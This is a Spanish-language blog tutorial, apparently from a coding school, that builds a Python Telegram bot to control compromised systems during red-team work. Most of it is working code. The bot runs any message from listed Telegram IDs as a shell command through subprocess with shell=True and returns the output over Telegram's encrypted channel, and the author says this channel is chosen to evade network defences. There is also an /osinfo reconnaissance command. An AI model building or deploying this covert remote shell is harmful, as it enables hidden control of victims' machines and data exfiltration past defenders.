Controlando sistemas comprometidos a través de Telegram

Redactado por

Tabla de contenidos

A la hora de gestionar los sistemas comprometidos en un ejercicio de Red team, es importante evadir los sistemas de defensa de la red, siempre se tiende a ejecutar reverse shells simples con netcat sin cifrar lo cual deja un gran rastro en la red ya que se pueden ver los comandos ejecutados e incluso las respuestas. En este caso vamos a utilizar una aplicación convencional de mensajería (Telegram) para ejecutar los comandos remotos, puesto que va cifrado y no son conexión frecuentemente bloqueadas. Vamos a programarlo en Python y vamos a hacer que sea multiplataforma wrapeando las librerías para que se necesite solamente  Python instalado en el sistema.

Antes de nada, me gustaría comentar que quiero orientar este post, de forma que cualquier persona sea capaz de crear su propio bot y de entender cómo funciona partiendo de ejemplos básicos.

¡Vamos a ello!

Primero, vamos a crear nuestro bot, con botfather, solamente tenemos que meternos en telegram y buscar el usuario @BotFather, ejecutamos /newBot y nos pedira un nombre, os aconsejo poner nombres aleatorios, puesto que vamos a tener control total de una maquina desde el chat, aunque restringiremos el poder ejecutar comandos solamente desde una lista de IDs de Telegram en concreto.

Una vez creado, tenemos que guardar el token que nos devuelve, ya que es nuestro método de autenticación para el bot.

Segundo, vamos a buscar la librería que vamos a utilizar en la programación del bot, en este caso vamos a utilizar una de las más conocidas, “Python-telegram-bot”, lo instalaremos con pip:

pip3 install python-telegram-bot

Si vamos al GitHub del creador, encontraremos una carpeta «Examples» donde podemos encontrar ejemplos concretos del uso de la librería, nos vamos aprovechar de los ejemplos ya creado para poder agilizar el trabajo e ir directos al grano.

De los ejemplos que hay, el que más se puede parecer es el «echo bot», puesto que la funcionalidad es la misma, solo habría que cambiar la función de echo.

El código lo puedes encontrar aquí, pero nos vamos a centrar en los elementos imporantes.

Nos fijamos en como recibe las llamadas o comandos con «/», a través de las siguientes instrucciones:

dispatcher.add_handler(CommandHandler("start", start))
dispatcher.add_handler(CommandHandler("help", help_command))

esto quiere decir que si ponemos /start, va a ejecutar la funcion start que es la siguiente

    """Send a message when the command /start is issued."""
    user = update.effective_user
    update.message.reply_markdown_v2(
        fr'Hi {user.mention_markdown_v2()}!',
        reply_markup=ForceReply(selective=True),
    )

que básicamente devuelve un ‘Hi, {nombre de usuario}’. Y si enviamos un /help, llamará a la función help que es la siguiente

def help_command(update: Update, context: CallbackContext) -> None:
    """Send a message when the command /help is issued."""
    update.message.reply_text('Help!')

que devuelve un mensaje no es para nada de ayuda…

Sin embargo, para analizar los mensajes que no son comandos, usa otra instrucción

dispatcher.add_handler(MessageHandler(Filters.text & ~Filters.command, echo))

que llama a la función echo

def echo(update: Update, context: CallbackContext) -> None:
    """Echo the user message."""
    update.message.reply_text(update.message.text)

cada vez que el bot recibe una string que no es un comando (O que no empieza por «/») devuelve la misma string, lo que vamos a hacer es cambiar esta función por una que haga lo que queremos, en este caso ejecutar comandos y devolver el output, para ellos utilizaremos la libreria subprocess.

Con subprocess vamos a poder ejecutar comandos independientemente del sistema operativo donde se ejecute, puesto que vamos a ser nosotros los que decidiremos el comando a ejecutar, el programa solo se va a limitar a ejecutar la string introducida y devolvernos el output, por si acaso, decidí crear una pequeña función que nos devuelve información sobre el sistema operativo invitado, por si desconocemos donde está corriendo o tenemos varios y queremos saber donde está, para ello he creado el comando «/osinfo» que lo llamaremos de la siguiente forma

dispatcher.add_handler(CommandHandler("osinfo", osinfo))

y llama a la función «osinfo» con el siguiente código

def osinfo(update: Update, context: CallbackContext) -> None:
        update.message.reply_text("System: "+platform.uname()[0]+"n"+"Node: "+platform.uname()[1]+"n"+"Release: "+platform.uname()[2]+"n"+"Version: "+platform.uname()[3]+"n"+"Machine: "+platform.uname()[4]+"n"+"Processor: "+platform.uname()[5])

solamente utiliza la librería platform para llamara a la función uname() y devolver toda la información sobre sistema, nombre, release, versión… Y lo hemos puesto bonito para que sea legible.

El siguiente paso es modificar la función echo, la he renombrado como «execute» donde ejecuta el comando con subprocess de la siguiente forma

p = subprocess.run(update.message.text.split(" "), shell=True, capture_output=True)
out=p.stdout #Este es el output del comando

aquí hay un detalle importante y es el hecho de tener que crear una lista con el comando y los argumentos a ejecutar, queda algo mas o menos así si lo ejecutamos directamente desde Python

y he tenido que darle un par de toques más puesto que si ejecutabas comandos con una respuesta mayor a 4096 caracteres daba un error «Message is too long«, por lo tanto, compruebo si el mensaje es superior a 4090 caracteres y en caso afirmativo divido la salida en mensajes de máximo 4090 caracteres con la siguiente función

def chunkstring(string,length):a
    return (string[0 + i:length + i] for i in range(0, len(string), length))

y voy mandando los mensajes

for element in list(chunkstring(out,4090)):
    update.message.reply_text(element.decode("latin-1"))

la función entera quedaría así.

def execute(update: Update, contect:CallbackContext) -> None:
    print(update.message.text.split(" "))
    user = update.message.from_user
    print(user.id)
    if str(user.id) in idList:
        try:
            p = subprocess.run(update.message.text.split(" "), shell=True, capture_output=True)
            out=p.stdout
            if int(len(out)) < 4090:
                update.message.reply_text(out.decode("latin-1"))
            else:
                for element in list(chunkstring(out,4090)):
                    update.message.reply_text(element.decode("latin-1"))
        except Exception as e:
            print(e)
            update.message.reply_text("<b>Command error.</b>", parse_mode="html")
    else:
        update.message.reply_text("<b>Command error.</b>", parse_mode="html")

ejecutando el bot desde la máquina objetivo quedaría algo así

ejecutando comandos

si ejecutamos comandos con outputs muy largos, vemos como separa directamente la salida

Puedes revisar el código entero en mi Github, https://github.com/kheabrosec/telegramReverseShell

Si te ha encantado este artículo y te apasiona la ciberseguridad, no te puedes perder el bootcamp de Red Team de la mano de nuestro profe Enrique Lauroba, experto en ciberseguridad.

¡Hasta la próxima!

Enrique Lauroba CODE SPACE

Compartir post

Tal vez te interese...
¡Únete a nosotros en Discord

No dejes que tus sueños se queden en el código fuente y desata tu potencial como programador extraordinario!

Abrir chat
Hola 👋
¿Necesitas ayuda?